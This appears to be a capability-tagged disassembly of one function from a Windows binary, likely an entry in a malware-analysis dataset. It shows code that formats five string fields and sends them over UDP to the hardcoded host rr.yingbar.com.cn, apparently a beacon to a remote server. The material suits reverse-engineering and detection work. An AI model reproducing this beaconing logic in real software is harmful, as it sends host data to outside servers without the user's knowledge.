Function at 0x4025d0
Capabilities:
Create raw socket
Create tcp socket
Create udp socket
Initialize winsock library
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x42a35c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x3dc
mov eax, dword [0x437a30]
lea ecx, [esp + 0x80]
mov dword [esp + 0x3d8], eax
call fcn.00401b90
xor eax, eax
mov dword [esp + 5], eax
mov dword [esp + 9], eax
mov dword [esp + 0xd], eax
mov dword [esp + 0x11], eax
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
mov dword [esp + 0x1d], eax
lea ecx, [esp + 4]
mov word [esp + 0x21], ax
push 0x20
push ecx
mov dword [esp + 0x3ec], 0
mov byte [esp + 0xc], 0
mov byte [esp + 0x2b], al
call fcn.00406755
lea edx, [esp + 8]
push edx
call fcn.00406388
add esp, 0xc
lea eax, [esp + 4]
push eax
lea ecx, [esp + 0x84]
mov byte [esp + 0x3e8], 1
call fcn.00405840
mov ecx, dword [esp]
push ecx
lea ecx, [esp + 0xd0]
call fcn.00405840
lea edx, [esp + 0x118]
push edx
lea eax, [esp + 0x168]
push eax
call fcn.004017d0
add esp, 8
push 0x42b89e
push 0x42b89c
lea ecx, [esp + 0x120]
call fcn.00405b10
lea ecx, [esp + 0x1b0]
push ecx
call fcn.00401a30
add esp, 4
lea ecx, [esp + 0x80]
call fcn.004055b0
test al, al
je 0x4026db
push 0x42b898
lea ecx, [esp + 0x84]
call fcn.00405840
lea ecx, [esp + 0xcc]
call fcn.004055b0
test al, al
je 0x4026fc
push 0x42b898
lea ecx, [esp + 0xd0]
call fcn.00405840
lea ecx, [esp + 0x118]
call fcn.004055b0
test al, al
je 0x40271d
push 0x42b898
lea ecx, [esp + 0x11c]
call fcn.00405840
lea ecx, [esp + 0x164]
call fcn.004055b0
test al, al
je 0x40273e
push 0x42b898
lea ecx, [esp + 0x168]
call fcn.00405840
lea ecx, [esp + 0x1b0]
call fcn.004055b0
test al, al
je 0x40275f
push 0x42b898
lea ecx, [esp + 0x1b4]
call fcn.00405840
push esi
lea ecx, [esp + 0x200]
call fcn.00405990
lea ecx, [esp + 0x1b4]
mov byte [esp + 0x3e8], 2
call fcn.004055c0
push eax
lea ecx, [esp + 0x16c]
call fcn.004055c0
push eax
lea ecx, [esp + 0x124]
call fcn.004055c0
push eax
lea ecx, [esp + 0xdc]
call fcn.004055c0
push eax
lea ecx, [esp + 0x94]
call fcn.004055c0
push eax
lea edx, [esp + 0x214]
push str._s__s__s__s__s
push edx
call fcn.00405d00
add esp, 0x1c
lea ecx, [esp + 0x38]
call fcn.00405990
mov eax, dword [esp + 0x3f4]
push eax
lea ecx, [esp + 0x204]
mov byte [esp + 0x3ec], 3
call fcn.004055c0
mov ecx, dword [esp + 0x3f4]
push eax
push ecx
lea edx, [esp + 0x44]
push 0x42b87c
push edx
call fcn.00405d00
add esp, 0x14
lea eax, [esp + 0x24c]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x11
push 2
push 2
call dword [sym.imp.WS2_32.dll_socket]
lea ecx, [esp + 0x28]
push ecx
push 0x465a
push str.rr.yingbar.com.cn
mov esi, eax
call fcn.00401aa0
add esp, 0xc
push 0x10
lea edx, [esp + 0x2c]
push edx
push 0
lea ecx, [esp + 0x44]
call fcn.004055a0
push eax
lea ecx, [esp + 0x48]
call fcn.004055c0
push eax
push esi
call dword [sym.imp.WS2_32.dll_sendto]
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
lea ecx, [esp + 0x38]
mov byte [esp + 0x3e8], 2
call fcn.00405580
lea ecx, [esp + 0x200]
mov byte [esp + 0x3e8], 1
call fcn.00405580
mov eax, dword [esp + 4]
add eax, 0xfffffff0
mov byte [esp + 0x3e8], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
pop esi
jg 0x4028b9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea ecx, [esp + 0x80]
mov dword [esp + 0x3e4], 0xffffffff
call fcn.00401c10
mov ecx, dword [esp + 0x3dc]
mov dword fs:[0], ecx
mov ecx, dword [esp + 0x3d8]
call fcn.004105a4
add esp, 0x3e8
ret